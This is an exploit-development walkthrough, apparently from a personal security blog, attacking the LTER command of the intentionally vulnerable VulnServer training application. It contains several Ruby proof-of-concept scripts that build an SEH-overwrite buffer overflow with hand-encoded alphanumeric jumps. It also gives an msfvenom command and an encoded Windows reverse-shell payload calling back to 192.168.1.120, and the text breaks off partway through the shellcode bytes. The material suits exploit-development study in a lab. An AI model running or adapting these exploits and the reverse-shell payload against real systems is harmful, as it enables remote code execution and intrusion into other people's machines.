VulnServer: LTER with SEH override and alpha-numeric shellcode
We can fuzz the LTER command with the following spike
template:
s_readline();
s_string("LTER ");
s_string_variable("COMMAND");
We quickly experience the following crash:
We can easily reproduce this crash using the following PoC script:
#!/usr/bin/ruby
require 'socket'
target = '192.168.1.121'
port = 9999
s = TCPSocket.open(target, port)
s.puts('LTER /.:/' + 'A' * 5000)
s.close()
To get a better understanding of the crash, we will send a unique string 5000 bytes long. We can generate the string using the following command:
msf-pattern_create -l 5000
We can paste the output into our script, in place of the buffer of A:
#!/usr/bin/ruby
require 'socket'
target = '192.168.1.121'
port = 9999
s = TCPSocket.open(target, port)
payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk'
s.puts('LTER /.:/' + payload)
s.close()
After crashing the service using this payload, we can use !mona findmsp
to get the offsets:
From the output we can see that the nseh
field is at offset 3495, followed by 28 bytes of my buffer. The next four bytes are the SEH handler. We can highlight our payload with different markers to see what happens with these memory locations. We change our PoC as follows:
#!/usr/bin/ruby
require 'socket'
target = '192.168.1.121'
port = 9999
s = TCPSocket.open(target, port)
# nseh offset at 3495
payload = "A" * 3495
payload += "BBBB"
# pop pop ret in essfunc.dll at 0x625010b4
payload += "CCCC"
payload += "D" * (5000 - payload.length)
s.puts('LTER /.:/' + payload)
s.close()
If we crash the service now and look at the SEH chain, we will see the following:
The nseh
record has been override by B, while the next four bytes of C have override the SEH
. If we pass the exception to the program, we can see that are our C that go to EIP:
And if we look at the stack, we see that the third entry is pointing at our buffer of B, in the nseh
record.
The first step is now to find a pop pop ret
sequence in memory, so that we can remove the first two entries and then return to our controlled buffer.
We can find a suitable address in memory using !mona seh
:
We can pick the first address in the list and place it in our script in place of the B:
#!/usr/bin/ruby
require 'socket'
target = '192.168.1.121'
port = 9999
s = TCPSocket.open(target, port)
# nseh offset at 3495
payload = "A" * 3495
payload += "BBBB"
# pop pop ret in essfunc.dll at 0x625010b4
payload += "\xb4\x10\x50\x62"
payload += "D" * (5000 - payload.length)
s.puts('LTER /.:/' + payload)
s.close()
If we run this script against the target, VulnServer will crash. If we look again at the SEH chain we can see why this is happening:
The address has been changed: B4
became a 62
. This means that the application is filtering the input and we need to find out which characters can’t be used in our payload. In order to do so, we will send a payload containing all possible hexadecimal characters.
Mona has some useful functionalities to help us in the process. We can use the following command to generate the payload:
!mona bytearray -b "\x00\xb4"
We can exclude \x00
because it’s always a bad characters (and we already faced this for other VulnServer exploits), and we can remove \xb4
because we know it’s bad. The output will be as follows:
And we can paste this payload into our script, which will look as follows:
#!/usr/bin/ruby
require 'socket'
target = '192.168.1.121'
port = 9999
s = TCPSocket.open(target, port)
payload = "A" * 1000
payload += "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"+
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"+
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"+
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"+
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"+
"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"+
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"+
"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"+
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"+
"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"+
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"+
"\xb0\xb1\xb2\xb3\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"+
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"+
"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"+
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"+
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload += "C" * (5000 - payload.length)
s.puts('LTER /.:/' + payload)
s.close()
Once we send this payload to the target, the application will crash and we can use another mona function to check the memory for badchars:
!mona compare -f bytearray.bin
This command will scan the memory and compare it with the file that it has previously saved. The output can be long, and interesting (for example it can be that your payload is copied unmodified somewhere else in memory, so you can avoid to cope with bad characters).
In this case, we want to check if our payload is correctly copied after our A.
We can follow the stack looking for our buffer, and we see that our payload with all possible characters is at the address 00b6f61d:
We can look for this specific address in mona’s output, we will find the following:
After this, I removed \x80
from my payload and tried again, just to discover that it was basically the same. If we have a closer look at mona’s output, we see that characters in memory after \x7f
, are basically ignored and the first part of the series repeats itself. From \x01
to \xf7
, these are all the characters we have.
We can already expect to have some manual encoding to do, because of the very little space we have available. But first, we need to find a suitable return address. We can have a look again at the output of !mona seh
:
The third entry is composed by allowed charaters, and this is confirmed also by mona
, which takes care of let us know that address is an “ascii” address. We can use this address to override SEH
. The script will look as follows:
#!/usr/bin/ruby
require 'socket'
target = '192.168.1.121'
port = 9999
s = TCPSocket.open(target, port)
# nseh offset at 3495
payload = "A" * 3495
payload += "BBBB"
# pop pop ret in essfunc.dll at 0x6250172b
payload += "\x2b\x17\x50\x62"
payload += "D" * (5000 - payload.length)
s.puts('LTER /.:/' + payload)
s.close()
We can set a breakpoint at our return address and have a look at the memory when our pop pop ret
sequence is executed.
Just before our return address, the last element of the stack points at our nseh
record, followed by the address with which we override SEH
and then a small buffer of D. Since the ret
instruction will move to EIP whatever is on top of the stack, the four bytes in the nseh
will be executed next.
Usually this would be a very easy jump. But the op code for a short unconditional jump is EB
, which is a forbidden character. Luckily for us we can use different conditional jumps. The problem with conditional jumps is that not necessarily we are able to create the condition for the jump to be taken.
My favorite way to test conditional jumps, is to take the return and then use the debugger to write the jump instruction.
When we write the instruction in the debugger, a small windows just below the code frame will tell us if the jump is taken or not. Find a jump that is taken from this list: http://www.unixwiz.net/techtips/x86-jumps.html.
In this case, a JUMP IF NOT OVERFLOW
(JNO
) is good for us, and its op code is 71
which is an allowed character. We can use that to jump after our SEH address.
It’s time to write our first stage payload. We have only 20 bytes, and we can’t jump back because jumps from 01
to 7f
are positive jumps, so a jump back need to be encoded.
Since I have four bytes in the nseh
record, instead of jumping directly, I will use the first two bytes to store ESP in EAX, because EAX is easily modifiable with instructions within our allowed range. I will set the four bytes of the nseh
record as follows:
\x54 push ESP
\x58 pop EAX
\x71\x04 jump +4
After we execute these instructions, the memory of our program will look as follows:
Since we will have to push
our decoded instructions in memory, in a place where they will be executed, the first thing we have to do is to point ESP at the end of our buffer.
We have already moved ESP into EAX. EAX value is now B6EE50
, and our last byte of memory has address B6FFFF
. This means that I have to move ESP 0x11AF
ahead. Unfortunately, AF
is not an allowed character. So I will have to encode this into more than one instruction.
Same goes with the relative jump back. This is the assembly code that will encode our instructions:
[BITS 32]
global _start
_start:
;--- aligning eax, adding 11AF
add ax,0x1111
sub al,0x62
push eax
pop esp
;--- jmp short -126, EB80
sub ax,0x7f14
push eax
We can add this instructions to our script:
#!/usr/bin/ruby
require 'socket'
target = '192.168.1.121'
port = 9999
s = TCPSocket.open(target, port)
# nseh offset at 3495
payload = "A" * 3495
# we move esp to eax, we jmp forward
payload += "\x54\x58\x71\x04"
# pop pop ret in essfunc.dll at 0x6250172b
payload += "\x2b\x17\x50\x62"
# sub encode from jmp-126.bin
payload += "\x66\x05\x11\x11\x2c\x62\x50\x5c\x66\x2d\x14\x7f\x50"
payload += "A" * (5000 - payload.length)
s.puts('LTER /.:/' + payload)
s.close()
And we can follow the execution of these instructions in the debugger:
After the pop esp
instruction, EAX value gets correctly copied into ESP and this points to the end of our memory. This means that next time we will push something, this will copied just after our code.
Notice how, after the push eax
instructions, the value of EAX is pushed into the stack. The value is pushed reverse, this is why I only took care of setting the last two bytes of EAX and I didn’t care about the rest.
If we take the jump, we are sent 126 bytes behind the jump position, giving us enough space to encode a bigger jump backwards. This will require once again to align ESP to where we want our shellcode to be decoded. The following asm
code will do the job for us:
[BITS 32]
global _start
_start:
;--- saving first instruction position
push esp
pop eax
sub ax,0x0428
push eax
pop ecx
;--- aligning esp to decode jump, -0x20
push esp
pop eax
sub al,0x20
push eax
pop esp
;--- jmp ecx encoded with Slink
and eax, 0x554e4d4a
and eax, 0x2a313235
add eax, 0x41416177
add eax, 0x41415266
add eax, 0x41416155
sub eax, 0x33333333
push eax
The two last blocks are just aligning ESP with our nseh
record and decoding a jmp ecx
in there. The first block is pointing ECX about a 1000 bytes behind, so that we will have enough space for our shellcode.
An important note: since we are using ECX to store our pointer, we can’t anymore use A as a padding, as A means inc ecx
, therefore it will alter our pointer. I will use \x40
which is an inc eax
.
Our second stage jump script will look as follows:
#!/usr/bin/ruby
require 'socket'
target = '192.168.1.121'
port = 9999
s = TCPSocket.open(target, port)
# nseh offset at 3495
payload = "A" * 3400
# sub encode from jmp-ecx.bin
payload += "\x54\x58\x66\x2d\x28\x04\x50\x59\x54\x58\x2c\x20\x50\x5c\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x05\x77\x61\x41\x41\x05\x66\x52\x41\x41\x05\x55\x61\x41\x41\x2d\x33\x33\x33\x33\x50"
payload += "\x40" * (3495 - payload.length)
# we move esp to eax, we jmp forward
payload += "\x54\x58\x71\x04"
# pop pop ret in essfunc.dll at 0x6250172b
payload += "\x2b\x17\x50\x62"
# sub encode from jmp-126.bin
payload += "\x66\x05\x11\x11\x2c\x62\x50\x5c\x66\x2d\x14\x7f\x50"
payload += "A" * (5000 - payload.length)
s.puts('LTER /.:/' + payload)
s.close()
We can now crash the service and follows the execution.
After pop ecx
ECX is correctly pointing back in our buffer.
After pop esp
ESP is currently pointing at the first available byte before our nseh
record. And after we manipulate EAX and push it into the stack we can see that a proper jump to ECX (\xFF\xE1
) is pushed to the stack, ready to be executed:
The next thing we have to check, is where in our buffer of A we are actually jumping. We can reach the jump stepping through the instructions and check the memory addresses:
We can see that our jump will bring as at B6FBD3
, and if we scroll in the memory, we can find the beginning of our buffer of A at B6F235
. We can use a calculator to find out that our payload must be placed 2462 characters into our buffer.
We can now generate our payload with the following command:
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.120 LPORT=4567 EXITFUNC=seh -e x86/alpha_mixed BufferRegister=ECX -f ruby
The parameter BufferRegister=ECX
is needed in our case, without it, the payload will have some non alpha-numeric characters, that it will use to find its location in memory and decode the shellcode correctly. But we can have only alpha-numerica characters, so we manually saved the location in ECX and pass this register as a parameter to our payload builder.
Unfortunately, if we just paste our payload into the script we will not get a shell. This because in order to decode our jumps, we played with the stack pointer, and the code for the reverse shell will push a lot into the stack and eventually override our code.
This is why we need to restore ESP to its original position, which was B6EE50
, while now is B6FFD7
. We need to bring it back 0x1187
.
We need the following instructions to restore ESP position:
\x54 push esp
\x58 pop eax
\x66\x2d\x77\x11 sub ax,0x1177
\x2c\x10 sub al,0x10
\x50 push eax
\x5c pop esp
But this instruction will move our shellcode ahead, and we need ECX to point at the beginning of our shellcode, so we need to realign ECX, and we can do it with the following instructions:
\x51 push ecx
\x58 pop eax
\x04\x10 add al,0x10
\x50 push eax
\x59 pop ecx
Notice that we add 0x10
, because we have to take into account also the instructions to realign ECX, so in total we have an offset of 16 bytes.
Our exploit will now look as follows:
#!/usr/bin/ruby
require 'socket'
target = '192.168.1.121'
port = 9999
s = TCPSocket.open(target, port)
# nseh offset at 3495
# payload offset at 2462
payload = "A" * 2462
# restoring ESP to original position
payload += "\x54\x58\x66\x2d\x77\x11\x2c\x10\x50\x5c"
# realigning ECX
payload += "\x51\x58\x04\x10\x50\x59"
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.120 LPORT=4567 EXITFUNC=seh -e x86/alpha_mixed BufferRegister=ECX -f ruby
payload += "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" +
"\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41" +
"\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41" +
"\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x59\x6c\x6a\x48\x6b" +
"\x32\x63\x30\x65\x50\x73\x30\x55\x30\x4e\x69\x4a\x45\x44" +
"\x71\x4f\x30\x73\x54\x6e\x6b\x52\x70\x66\x50\x4e\x6b\x43" +
"\x62\x56\x6c\x6c\x4b\x46\x32\x37\x64\x6c\x4b\x62\x52\x57" +
"\x58\x74\x4f\x4c\x77\x53\x7a\x75\x76\x35\x61\x4b\x4f\x4c" +
"\x6c\x37\x4c\x73\x51\x71\x6c\x43\x32\x64\x6c\x77\x50\x7a" +
"\x61\x58\x4f\x64\x4d\x75\x51\x78\x47\x7a\x42\x79\x62\x53" +
"\x62\x76\x37\x4c\x4b\x43\x62\x44\x50\x6c\x4b\x52\x6a\x57" +
"\x4c\x6e\x6b\x42\x6c\x72\x31\x64\x38\x38\x63\x61\x58\x37" +
"\x71\x38\x51\x52\x71\x6c\x4b\x71\x49\x31\x30\x53\x31\x78" +
"\x53\x6e\x6b\x47\x39\x36\x78\x38\x63\x67\x4a\x70\x49\x4c" +
"\x4b\x44\x74\x4c\x4b\x57\x71\x58\x56\x64\x71\x4b\x4f\x6e" +
"\x4c\x69\x51\x78\x4f\x56\x6d\x63\x31\x6b\x77\x54\x78\x59" +
"\x70\x51\x65\x49\x66\x76\x63\x61\x6d\x6a\x58\x35\x6b\x31" +
"\x6d\x44\x64\x30\x75\x4b\x54\x66\x38\x4e\x6b\x71\x48\x45" +
"\x74\x47\x71\x69\x43\x72\x46\x4e\x6b\x36\x6c\x30\x4b\x4e" +
"\x6b\x66\x38\x65\x4c\x57\x71\x59\x43\x4e\x6b\x57\x74\x4e" +
"\x6b\x67\x71\x58\x50\x6f\x79\x62\x64\x36\x44\x74\x64\x33" +
"\x6b\x61\x4b\x75\x31\x30\x59\x51\x4a\x36\x31\x59\x6f\x79" +
"\x70\x43\x6f\x33\x6f\x72\x7a\x6e\x6b\x37\x62\x4a\x4b\x6c" +
"\x4d\x43\x6d\x52\x48\x35\x63\x54\x72\x63\x30\x35\x50\x50" +
"\x68\x31\x67\x42\x53\x36\x52\x31\x4f\x43\x64\x32\x48\x70" +
"\x4c\x31\x67\x55\x76\x33\x37\x6b\x4f\x4e\x35\x48\x38\x6e" +
"\x70\x75\x51\x57\x70\x47\x70\x61\x39\x4f\x34\x62\x74\x66" +
"\x30\x33\x58\x77\x59\x4d\x50\x52\x4b\x57\x70\x4b\x4f\x7a" +
"\x75\x70\x50\x32\x70\x52\x70\x66\x30\x73\x70\x30\x50\x73" +
"\x70\x56\x30\x72\x48\x68\x6a\x56\x6f\x79\x4f\x6b\x50\x39" +
"\x6f\x68\x55\x6e\x77\x70\x6a\x63\x35\x33\x58\x49\x50\x39" +
"\x38\x56\x61\x42\x58\x52\x48\x57\x72\x37\x70\x57\x61\x49" +
"\x47\x6c\x49\x68\x66\x72\x4a\x34\x50\x42\x76\x46\x37\x63" +
"\x58\x4e\x79\x4c\x65\x34\x34\x75\x31\x59\x6f\x39\x45\x4f" +
"\x75\x49\x50\x73\x44\x34\x4c\x6b\x4f\x42\x6e\x76\x68\x32" +
"\x55\x58\x6c\x31\x78\x4a\x50\x68\x35\x6f\x52\x70\x56\x6b" +
"\x4f\x49\x45\x35\x38\x72\x43\x62\x4d\x51\x74\x45\x50\x4e" +
"\x69\x7a\x43\x61\x47\x53\x67\x51\x47\x76\x51\x5a\x56\x30" +
"\x6a\x76\x72\x66\x39\x50\x56\x4a\x42\x39\x6d\x61\x76\x39" +
"\x57\x57\x34\x71\x34\x47\x4c\x63\x31\x36\x61\x6e\x6d\x43" +
"\x74\x67\x54\x66\x70\x78\x46\x73\x30\x37\x34\x76\x34\x52" +
"\x70\x50\x56\x76\x36\x76\x36\x42\x66\x76\x36\x70\x4e\x56" +
"\x36\x36\x36\x62\x73\x56\x36\x32\x48\x31\x69\x68\x4c\x75" +
"\x6f\x6d\x56\x59\x6f\x58\x55\x4e\x69\x6d\x30\x52\x6e\x53" +
"\x66\x62\x66\x79\x6f\x50\x30\x55\x38\x37\x78\x4d\x57\x55" +
"\x4d\x35\x30\x6b\x4f\x5a\x75\x6d\x6b\x69\x6e\x74\x4e\x30" +
"\x32\x38\x6a\x35\x38\x6c\x66\x4d\x45\x6f\x4d\x6d\x4d\x59" +
"\x6f\x78\x55\x47\x4c\x33\x36\x63\x4c\x55\x5a\x6f\x70\x79" +
"\x6b\x49\x70\x52\x55\x37\x75\x6d\x6b\x32\x67\x44\x53\x54" +
